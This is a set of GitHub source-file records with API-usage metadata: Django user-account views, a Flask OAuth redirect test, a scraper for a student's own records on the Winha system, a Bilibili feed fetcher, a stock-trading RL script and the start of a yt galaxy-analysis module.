render(request, 'AfterLogin/afterlogin.html')\r\n\r\n\r\ndef eventslogin(request):\r\n return render(request, 'AfterLogin/eventslogin.html')\r\n\r\ndef signup(request):\r\n if request.method == 'POST':\r\n first_name = request.POST['first_name']\r\n last_name = request.POST['last_name']\r\n username = request.POST['username']\r\n email = request.POST['email']\r\n password = request.POST['password']\r\n confirmpassword = request.POST['confirmpassword']\r\n if password == confirmpassword:\r\n if User.objects.filter(username=username):\r\n print('User already exists')\r\n return redirect(signupage)\r\n else:\r\n user = User.objects.create_user(username=username, first_name=first_name, last_name=last_name, email=email, password=password)\r\n user.save()\r\n return redirect(registerpage, id=user.id)\r\n else:\r\n print('Invalid Password')\r\n return redirect(signupage)\r\n \r\n\r\n\r\ndef registerpage(request, id):\r\n user = User.objects.get(id=id)\r\n return render(request, 'signup/register.html', {'userdata': user})\r\n\r\n\r\ndef register(request, id):\r\n user = User.objects.get(id=id)\r\n if request.method == 'POST':\r\n dob = request.POST['dob']\r\n phonenumber = request.POST['phonenumber']\r\n postcode = request.POST['postcode']\r\n profile = Profile(uid=user, dob=dob, phonenumber=phonenumber, postcode=postcode)\r\n profile.save()\r\n return redirect(loginpage)\r\n\r\ndef login(request):\r\n if request.method == 'POST':\r\n username = request.POST['username']\r\n password = request.POST['password']\r\n loginuser = auth.authenticate(username=username, password=password)\r\n if loginuser is not None:\r\n auth.login(request, loginuser)\r\n return redirect(afterlogin)\r\n else:\r\n return redirect(loginpage)\r\n else:\r\n return redirect(loginpage)\r\n\r\ndef logout(request):\r\n auth.logout(request)\r\n return redirect(loginpage)\r\n\r\n@login_required\r\ndef profile(request):\r\n user_profile = Profile.objects.get(uid=request.user)\r\n users = User.objects.all()\r\n if request.method == 'POST':\r\n profile_image = request.FILES['profile_image']\r\n user_profile.image = profile_image\r\n user_profile.save()\r\n return redirect('profile')\r\n return render(request, 'AfterLogin/profile.html', {'user_profile': user_profile,'users':users})\r\n\r\ndef editprofile(request):\r\n if request.method=='POST':\r\n form=UserChangeForm(request.POST, instance=request.user)\r\n\r\n if form.is_valid():\r\n form.save()\r\n return redirect('AfterLogin/profile.html')\r\n \r\ndef eventsafterlogin(request):\r\n events = Event.objects.select_related('uid').all()\r\n return render(request, 'AfterLogin/eventsafterlogin.html', {'events': events})\r\n\r\ndef eventdetails(request, event_id):\r\n events = Event.objects.get(id=event_id)\r\n return render(request, 'eventdetails.html', {'event': events})", "repo_name": "ramrishi1/Dotage", "sub_path": "user/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6038, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 35, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 39, "usage_type": "call"}, {"api_name": "user.models", "line_number": 51, "usage_type": "name"}, {"api_name": "models.Event", "line_number": 66, "usage_type": "call"}, {"api_name": "user.models", "line_number": 67, "usage_type": "name"}, {"api_name": "models.Event", "line_number": 78, "usage_type": "call"}, {"api_name": "user.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 89, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 41, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 95, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 93, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 99, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 110, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 112, "usage_type": "call"}, {"api_name": "user.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 114, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 114, "usage_type": "name"}, {"api_name": "user.models.save", "line_number": 115, "usage_type": "call"}, {"api_name": "user.models", "line_number": 115, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 116, "usage_type": "call"}, {"api_name": "user.models.id", "line_number": 116, "usage_type": "attribute"}, {"api_name": "user.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 119, "usage_type": "call"}, {"api_name": "user.models", "line_number": 124, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 124, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 124, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 125, "usage_type": "call"}, {"api_name": "user.models", "line_number": 125, "usage_type": "name"}, {"api_name": "user.models", "line_number": 129, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 129, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 129, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 129, "usage_type": "name"}, {"api_name": "models.Profile", "line_number": 134, "usage_type": "call"}, {"api_name": "user.models", "line_number": 134, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 136, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.auth.authenticate", "line_number": 142, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.auth", "line_number": 142, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.auth.login", "line_number": 144, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.auth", "line_number": 144, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 145, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 147, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 149, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.auth.logout", "line_number": 152, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.auth", "line_number": 152, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Profile.objects.get", "line_number": 157, "usage_type": "call"}, {"api_name": "models.Profile.objects", "line_number": 157, "usage_type": "attribute"}, {"api_name": "models.Profile", "line_number": 157, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 158, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 158, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 158, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 163, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 164, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 155, "usage_type": "name"}, {"api_name": "django.contrib.auth.forms.UserChangeForm", "line_number": 168, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 172, "usage_type": "call"}, {"api_name": "models.Event.objects.select_related", "line_number": 175, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 175, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 175, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 176, "usage_type": "call"}, {"api_name": "models.Event.objects.get", "line_number": 179, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 179, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 179, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 180, "usage_type": "call"}]} {"seq_id": "36398303124", "text": "from flask import url_for\nfrom urllib.parse import parse_qs\nfrom urllib3.util import parse_url\n\nfrom app.config import URL, PROTON_CLIENT_ID\n\n\ndef test_login_with_proton(flask_client):\n r = flask_client.get(\n url_for(\"auth.proton_login\"),\n follow_redirects=False,\n )\n location = r.headers.get(\"Location\")\n assert location is not None\n\n parsed = parse_url(location)\n query = parse_qs(parsed.query)\n\n expected_redirect_url = f\"{URL}/auth/proton/callback\"\n\n assert \"code\" == query[\"response_type\"][0]\n assert PROTON_CLIENT_ID == query[\"client_id\"][0]\n assert expected_redirect_url == query[\"redirect_uri\"][0]\n", "repo_name": "simple-login/app", "sub_path": "tests/auth/test_proton.py", "file_name": "test_proton.py", "file_ext": "py", "file_size_in_byte": 650, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4235, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.url_for", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib3.util.parse_url", "line_number": 16, "usage_type": "call"}, {"api_name": "urllib.parse.parse_qs", "line_number": 17, "usage_type": "call"}, {"api_name": "app.config.URL", "line_number": 19, "usage_type": "name"}, {"api_name": "app.config.PROTON_CLIENT_ID", "line_number": 22, "usage_type": "name"}]} {"seq_id": "42852917684", "text": "import bs4\nimport re\nfrom crawler import Crawler\n\n\nclass Winha(Crawler):\n \"\"\"Inherits Crawler class. Simulates the browser to login in to the Winha student system, in order to get the desired data based on the\n HTML documents. The desired data in this case are student information, courses, and gpa & grades distribution\n (based on courses).\n \"\"\"\n\n # Collecting all of the URLs needed.\n URLS = {\n 'ELOGON_URL': 'https://secure.puv.fi/wille/elogon.asp',\n 'LOGIN_URL': 'https://secure.puv.fi/wille/elogon.asp?dfUsername?dfPassword?dfUsernameHuoltaja',\n 'EMAINVAL_URL': 'https://secure.puv.fi/wille/emainval.asp',\n 'EHOPSSIS_URL': 'https://secure.puv.fi/wille/ehopssis.asp',\n 'EHOPSSIS_KAIKKI_URL': 'https://secure.puv.fi/wille/ehopssis.asp?Opinto=Kaikki&ID=0',\n 'EHENKILO_URL': 'https://secure.puv.fi/wille/eHenkilo.asp'\n }\n\n def __init__(self, student_id, password):\n \"\"\"Constructor for getting student id and password.\n \"\"\"\n\n # Initializing the base class Crawler.\n Crawler.__init__(self)\n\n self.student_id = student_id\n self.password = password\n\n # Structuring the authentication data into a dict for posting to the server.\n self.auth_data = {'dfUsernameHidden': student_id,\n 'dfPasswordHidden': password}\n\n # Login the website then other requests can be made with this session and getting the status of login.\n self.status = self.login()\n\n def login(self):\n \"\"\"Login the website by the credentials, and keep the session..\n\n :return: False if login fail, or True if success.\n \"\"\"\n # Touching the login page to get the initialized session.\n self.session.get(Winha.URLS['ELOGON_URL'], headers=Winha.HEAD)\n\n # Posting the authentication data to the server.\n self.session.post(Winha.URLS['LOGIN_URL'], data=self.auth_data, headers=Winha.HEAD)\n\n # Touching the emainval page.\n response = self.session.get(Winha.URLS['EMAINVAL_URL'], headers=Winha.HEAD)\n\n # Determining the login status by the status code of the response.\n if response.status_code == 500:\n return False\n else:\n return True\n\n def get_student_info_html(self):\n \"\"\"Gets the HTML document of the student information page.\n\n :return: student_data_html: the string of the HTML document of the student information page.\n \"\"\"\n # Requesting the student data.\n response = self.session.get(Winha.URLS['EHENKILO_URL'], headers=Winha.HEAD)\n\n # Getting the text of the response.\n student_data_html = response.text\n return student_data_html\n\n def get_student_info(self):\n \"\"\"Parses the HTML document of the student information page, in order to get the desired data.\n\n :return: a dict: student_data = {'student_id': student_id, 'sex': sex, 'name': name, 'telephone': telephone,\n 'degree_programme': degree_programme, 'estimated_study_time': estimated_study_time,\n 'entering_group': entering_group, 'group': group, 'email': email,\n 'address': address}.\n \"\"\"\n student_data_html = self.get_student_info_html()\n\n # soup is a BeautifulSoup object, which represents the document as a nested data structure.\n # 'html.parser' is used for HTML parsing.\n soup = bs4.BeautifulSoup(student_data_html, 'html.parser')\n\n # By doubling the .next_sibling to jump over the whitespace\n student_id = soup.tr.next_sibling.next_sibling.next_sibling.next_sibling.td.next_sibling.next_sibling.string\n\n # Creating a list to store telephones for there are two telephones in html\n telephone = []\n\n # Creating a list to store groups for there are two groups in html\n group = []\n\n # Based on the HTML document, getting the desired data\n # Finding all tags.\n for tr in soup.find_all('tr'):\n # If has child tag then continue.\n if tr.th is not None:\n # Getting the string of the current item.\n item = tr.th.string\n # Getting the string of the current value of the corresponding item.\n value = tr.td.next_sibling.next_sibling.string\n if item == 'Code':\n # Student_id always starts with 'e'.\n student_id = 'e' + value\n elif item == 'Sex':\n sex = value\n elif item == 'Name':\n name = value\n elif item == 'Degree Programme':\n degree_programme = value\n elif item == 'Estimated study time':\n estimated_study_time = value\n elif item == 'Entering group':\n entering_group = value\n elif item == 'Group':\n group.append(value)\n elif item == 'Own e-mail':\n email = value\n elif item == 'Current address':\n address = value\n elif item == 'Telephones':\n if value is not None:\n telephone.append(value)\n student_data = {'student_id': student_id, 'sex': sex, 'name': name, 'telephone': telephone,\n 'degree_programme': degree_programme, 'estimated_study_time': estimated_study_time,\n 'entering_group': entering_group, 'group': group, 'email': email,\n 'address': address}\n\n return student_data\n\n def get_courses_html(self):\n \"\"\"Gets the HTML document of the courses page.\n\n :return: courses_html: the string of the HTML document of the courses page.\n \"\"\"\n # Touching the ehopssis page.\n self.session.get(Winha.URLS['EHOPSSIS_URL'], headers=Winha.HEAD)\n\n # Requesting all of the courses information.\n response = self.session.get(Winha.URLS['EHOPSSIS_KAIKKI_URL'],\n headers=Winha.HEAD)\n\n # Getting the text of the response.\n courses_html = response.text\n\n return courses_html\n\n def get_courses(self):\n \"\"\"Parses the HTML document of the courses page, in order to get the desired data.\n\n :return: a dict: {'courses': courses}, courses is a list containing course dicts:\n {'name': name, 'credit': credit, 'status': status, 'grade': grade}\n \"\"\"\n courses_html = self.get_courses_html()\n\n # soup is a BeautifulSoup object, which represents the document as a nested data structure.\n # 'html.parser' is used for HTML parsing.\n soup = bs4.BeautifulSoup(courses_html, 'html.parser')\n\n # Initializing the courses list.\n courses = []\n\n # Based on the HTML document, getting the desired data.\n for nobr in soup.find_all('nobr'):\n a_tags = nobr.find_all('a')\n if a_tags:\n if nobr.nobr is not None:\n name = nobr.nobr.string.strip()\n else:\n name = a_tags[0].string.strip()\n details = a_tags[1].string.strip()\n\n # Using regex group to match different parts: credit, status, grade.\n m = re.match(r'\\(([\\d,]+)\\s*\\S+\\s*/\\s*(\\S+)\\s*/\\s*(\\S+)\\s*\\)', details)\n\n # Notice that group(0) matches the whole regex expression.\n # Changing the decimal format for easily computing.\n credit = m.group(1).replace(',', '.')\n status = m.group(2)\n grade = m.group(3)\n\n # Appending the course into courses list.\n course = {'name': name, 'credit': credit, 'status': status, 'grade': grade}\n courses.append(course)\n return {'courses': courses}\n\n def get_gpa(self, courses):\n \"\"\"Calculates GPA and grades distribution based on the provided courses.\n\n :param courses: a dict: {'courses': courses}, courses is a list containing course dicts:\n {'name': name, 'credit': credit, 'status': status, 'grade': grade}.\n\n :return: courses_result: a dict: {'gpa': gpa, 'grade_distribution': grade_distribution}.\n \"\"\"\n\n # Initializing gpa as float type.\n gpa = 0.0\n credits_sum = 0.0\n courses_result = {'gpa': 0, 'grade_distribution': [0, 0, 0, 0, 0, 0]}\n\n # Getting courses list\n courses = courses['courses']\n\n for c in courses:\n grade = c['grade']\n credit = eval(c['credit'])\n # Only number grade is considered.\n if grade.isdigit():\n grade = eval(grade)\n # When calculating gpa, the failed course won't be considered.\n if grade != 0:\n courses_result['grade_distribution'][grade] += 1\n credits_sum += credit\n gpa += credit * grade\n if grade == 0:\n courses_result['grade_distribution'][0] += 1\n # gpa = (grades * credits) / credits\n gpa /= credits_sum\n\n # Rounding gpa to 3 digits after the decimal point.\n courses_result['gpa'] = round(gpa, 3)\n return courses_result\n\n def get_current_courses(self, courses):\n \"\"\"Gets the current courses that are Enrolled or Enrollemnet Accepted but without grade given.\n\n :param courses: a dict: {'courses': courses}, courses is a list containing course dicts:\n {'name': name, 'credit': credit, 'status': status, 'grade': grade}.\n\n :return: a dict: {'current_courses': current_courses}, current_courses is a list containing course dicts:\n {'name': name, 'credit': credit, 'status': status, 'grade': grade}.\n \"\"\"\n # Getting courses list.\n courses = courses['courses']\n current_courses = []\n for c in courses:\n # I = Enrolled; H = Enrollment accepted.\n if c['status'] == 'I' or c['status'] == 'H':\n current_courses.append(c['name'])\n return {'current_courses': current_courses}\n\n def get_all_data(self):\n \"\"\"Summarizes all data crawled from Winha to a dict.\n\n :return: if Login success, return a dict: {'courses': courses, 'student_id': student_id, 'sex': sex,\n 'name': name, 'telephone': telephone,\n 'degree_programme': degree_programme, 'estimated_study_time': estimated_study_time,\n 'entering_group': entering_group, 'group': group, 'email': email,\n 'address': address, 'gpa': gpa, 'grade_distribution': grade_distribution},\n \"\"\"\n\n if self.status is True:\n courses = self.get_courses()\n student_data = self.get_student_info()\n gpa = self.get_gpa(courses)\n current_courses = self.get_current_courses(courses)\n\n # connecting all of the dicts.\n all_data = dict(courses.items() + student_data.items() + gpa.items() + current_courses.items())\n\n return all_data\n\n return {'error': 'wrong student_id or password!'}", "repo_name": "likair/VAMK.help", "sub_path": "vamk/api/winha.py", "file_name": "winha.py", "file_ext": "py", "file_size_in_byte": 11240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "crawler.Crawler", "line_number": 6, "usage_type": "name"}, {"api_name": "crawler.Crawler.__init__", "line_number": 27, "usage_type": "call"}, {"api_name": "crawler.Crawler", "line_number": 27, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 83, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 159, "usage_type": "call"}, {"api_name": "re.match", "line_number": 175, "usage_type": "call"}]} {"seq_id": "5328399717", "text": "import webbrowser as web\nimport datetime\nimport demjson\nfrom tools import url_tools\nfrom common.constant import *\n\nDYNAMIC_URL = \"https://www.bilibili.com/video/\"\n\n\ndef to_obtain_dynamic_list(last_time: datetime.datetime, limit=100):\n myid = \"22966665\"\n # 获取最新动态\n data = url_tools.http2json(b_url[MYSELF_NEW_DYNAMIC].format(myid), url_tools.user_agent(), url_tools.cookies())['data']\n # 继续获取动态的offset\n next_offset = data['history_offset']\n cards = data['cards']\n # 需要打开的页面数\n open_count = 0\n wait_open_url_list = []\n is_down = True\n while is_down:\n rst_list, is_down, open_count = collect_url(cards, last_time, open_count, limit)\n next_data = url_tools.http2json(b_url[MYSELF_HIS_DYNAMIC].format(myid, next_offset), url_tools.user_agent(),\n url_tools.cookies())['data']\n wait_open_url_list += rst_list\n cards = next_data['cards']\n next_offset = next_data['next_offset']\n print(\"总计获取{}个视频链接\".format(open_count))\n return wait_open_url_list\n\n\n\ndef collect_url(cards, last_time: datetime.datetime, open_count, limit):\n wait_open_url_list = []\n is_down = True\n for card in cards:\n if int(card['desc']['timestamp']) > last_time.timestamp() and open_count < limit:\n video_desc = demjson.decode(card['card'].replace('\\n', '').replace('\\r\\n', ''))\n wait_open_url_list.append({\n 'bvid': card['desc']['bvid'],\n 'up': card['desc']['user_profile']['info']['uname'],\n 'time': datetime.datetime.fromtimestamp(card['desc']['timestamp']),\n 'title': video_desc['title'],\n 'url': video_desc['short_link'],\n 'like': video_desc['stat']['like'],\n 'coin': video_desc['stat']['coin'],\n 'favorite': video_desc['stat']['favorite'],\n 'view': video_desc['stat']['view'],\n 'videos': video_desc['videos'],\n 'mid': video_desc['owner']['mid']\n })\n open_count += 1\n else:\n is_down = False\n break\n return wait_open_url_list, is_down, open_count\n\n\ndef open_myself_dynamic(wait_open_url_list):\n web.register(\"edge\", None, web.BackgroundBrowser(\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"))\n bro_inst = web.get(\"edge\")\n for item in wait_open_url_list:\n bro_inst.open(item)\n print(\"打开完成，共打开了{}个页面\".format(len(wait_open_url_list)))\n\nif __name__ == '__main__':\n to_obtain_dynamic_list(datetime.datetime(2021, 7, 19, 22, 0, 0))", "repo_name": "QiWenLV/BTools-server", "sub_path": "browser/open_dynamic.py", "file_name": "open_dynamic.py", "file_ext": "py", "file_size_in_byte": 2680, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tools.url_tools.http2json", "line_number": 13, "usage_type": "call"}, {"api_name": "tools.url_tools", "line_number": 13, "usage_type": "name"}, {"api_name": "tools.url_tools.user_agent", "line_number": 13, "usage_type": "call"}, {"api_name": "tools.url_tools.cookies", "line_number": 13, "usage_type": "call"}, {"api_name": "tools.url_tools.http2json", "line_number": 23, "usage_type": "call"}, {"api_name": "tools.url_tools", "line_number": 23, "usage_type": "name"}, {"api_name": "tools.url_tools.user_agent", "line_number": 23, "usage_type": "call"}, {"api_name": "tools.url_tools.cookies", "line_number": 24, "usage_type": "call"}, {"api_name": "tools.url_tools", "line_number": 24, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "attribute"}, {"api_name": "demjson.decode", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "attribute"}, {"api_name": "webbrowser.register", "line_number": 60, "usage_type": "call"}, {"api_name": "webbrowser.BackgroundBrowser", "line_number": 60, "usage_type": "call"}, {"api_name": "webbrowser.get", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "call"}]} {"seq_id": "70886299109", "text": "import numpy as np\r\nimport FinanceDataReader as fdr\r\nimport ML_RSB_env as RSB\r\nimport matplotlib.pyplot as plt\r\n\r\n# Index(['Open', 'High', 'Low', 'Close', 'Volume', 'Change'], dtype='object')\r\nstock = fdr.StockListing('KOSPI')\r\nFind_id = stock['Name']\r\ncmp_code = stock['Code']\r\n\r\nstock_value = \"삼성전자\"\r\niid = int(Find_id.index[np.where(Find_id == stock_value)[0][0]])\r\ncmp = cmp_code[iid]\r\n\r\nstart_day = '20220315'\r\nend_day = '20230315'\r\nrisk = 0.9 # ~ 1.0\r\nbuy_flag = 1\r\n\r\ninput_size = 100 #(200 x 5)\r\noutput_size = 50 # maximum waitting (day)\r\n\r\nStock_data = fdr.DataReader(cmp, start_day, end_day)\r\nrecord_price = np.array(Stock_data['Close'])\r\nStock_numpy = np.array(Stock_data)\r\n\r\nmax_length = int(record_price.shape[0])\r\ninit_price = 1000000\r\n\r\n# print(record_price)\r\n# print(Stock_numpy[:201, 3])\r\n\r\nBuy_point = [[], []]\r\nSell_point = [[], []]\r\n\r\nenv = RSB.StockENV(Stock_numpy, record_price, init_price, input_size, output_size)\r\n\r\ndef main():\r\n interval = 10\r\n max_episode = 1\r\n cost = 0\r\n # start is inital price x 10\r\n for episode in range(max_episode):\r\n state, done = env.reset()\r\n # print(state.shape)\r\n # e = max((1. / ((episode // 500) + 1)), 0.1)\r\n e = 1\r\n while not done:\r\n # -----------------------------\r\n print(\"---------State---------\")\r\n print(\"I have a money (KRW) : \", env.Price)\r\n print(\"I have a stock : \", env.Stock)\r\n now_stock = env.Reward_price[env.client_time]\r\n print(\"Now Stock close price : \", now_stock)\r\n\r\n if np.random.rand(1) < e:\r\n action = np.random.randint(1, output_size)\r\n else:\r\n action = np.random.randint(1, output_size)\r\n\r\n if env.Buy_flag == 1:\r\n print(\"Now I'm, trying Buy\")\r\n Buy_point[0].append(env.client_time)\r\n Buy_point[1].append(now_stock)\r\n else:\r\n print(\"Now I'm, trying Sell\")\r\n Sell_point[0].append(env.client_time)\r\n Sell_point[1].append(now_stock)\r\n\r\n print(\"-----------Action-------------\")\r\n print(action, \"day after ~ \")\r\n\r\n next_state, reward, done = env.step(action)\r\n print(\"-----------Reward-------------\")\r\n print(\"Expect stock : \", env.Reward_price[env.client_time])\r\n print(\"Reward : {}\".format(reward))\r\n print(\"Money : {}, Stock : {}, Expect_value : {}\".format(env.Price, env.Stock, env.Price + env.Stock * env.Reward_price[env.client_time]))\r\n\r\n print(\"------------- Next state ---------------\")\r\n\r\n plt.plot(range(max_length), record_price)\r\n plt.scatter(Buy_point[0], Buy_point[1], s=100, c='r')\r\n plt.scatter(Sell_point[0], Sell_point[1], s=100, c='b')\r\n plt.show()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n\r\n\r\n", "repo_name": "Jeonsangeun/Stock_RL", "sub_path": "ML_TEST/ML_RoboStockbuyer.py", "file_name": "ML_RoboStockbuyer.py", "file_ext": "py", "file_size_in_byte": 2884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "FinanceDataReader.StockListing", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 12, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "ML_RSB_env.StockENV", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 59, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}]} {"seq_id": "34072935226", "text": "\n\nimport yt\n#yt.funcs.mylog.setLevel(40)\n\n#\n# Nov 2017: Units bug in Enzo domain mass flux that needs to be corrected\n# by root grid dx^2. However, to avoid confusion, for now,\n# just make this a global post-process correction. Leaving as bug\n# in Enzo.\n#\nAPPLY_CORRECTION_TO_BOUNDARY_MASS_FLUX_VALUES = False\n\nimport numpy as np\nfrom scipy import optimize\nimport glob\nimport os\nimport h5py\nimport copy\n\nfrom collections import Iterable\n\n# this is used to save / load generated\n# hierarchical ditionaries of data very easily\n# in / out of HDF5 files\nimport deepdish as dd\n\n\n# --------- internal imports --------------\nfrom galaxy_analysis.utilities import utilities as util\n#from ..utilities import utilities\nfrom galaxy_analysis.static_data import LABELS,\\\n FIELD_UNITS,\\\n IMAGE_COLORBAR_LIMITS,\\\n PLOT_LIMITS,\\\n UNITS,\\\n ISM, CUT_REGION, ISM_FILTER\n\nfrom galaxy_analysis import particle_analysis as pa\n\nfrom galaxy_analysis.particle_analysis import particle_types as pt\n#from ..particle_analysis import IMF\n\n# need to have better API\n# from ..particle_analysis.sfrFromParticles import sfrFromParticles\n# from ..particle_analysis.sfhFromParticles import sfhFromParticles\n# from ..particle_analysis.sn_rate import snr\n\nfrom galaxy_analysis.yt_fields import field_generators as fg\n\nfrom galaxy_analysis.misc import process_boundary_flux\nfrom galaxy_analysis.misc import dm_halo as dmprof\n\n_hdf5_compression = 'lzf'\n\n_all_fields = ['density', 'temperature', 'cell_mass']\n\n__all__ = ['Galaxy']\n\n\ndef load(dsname):\n \"\"\"\n Wrapper\n \"\"\"\n\n\nclass Galaxy(object):\n\n def __init__(self, dsname, wdir = './'):\n \"\"\"\n Galaxy object to run full analysis on individual data dumps\n in yt. Defines uniform set of galaxy disk an halo regions, species\n and abundance fields given field list, and functions for running\n a variety of analysis.\n \"\"\"\n\n self.wdir = wdir\n self.dsname = dsname\n\n # load, generate fields, reload\n with util.nooutput(): # silence yt for now\n self.ds = yt.load(self.wdir + '/' + self.dsname + '/' + self.dsname)\n\n # define fields if they have not yet been defined\n if not fg.FIELDS_DEFINED:\n dfiles = glob.glob(self.wdir + '/' + 'DD????/DD????')\n dfiles = np.sort(dfiles)\n\n if len(dfiles) == 1:\n dstemp = yt.load(dfiles[0])\n else:\n for i in np.arange(-1, -np.size(dfiles), -1):\n try:\n dstemp = yt.load(dfiles[i])\n except:\n print(i)\n continue\n\n break\n\n fg.generate_derived_fields(dstemp)\n fg.FIELDS_DEFINED = True\n\n # load data set and data\n self.ds = fg.load_and_define(self.wdir + '/' + self.dsname + '/' + 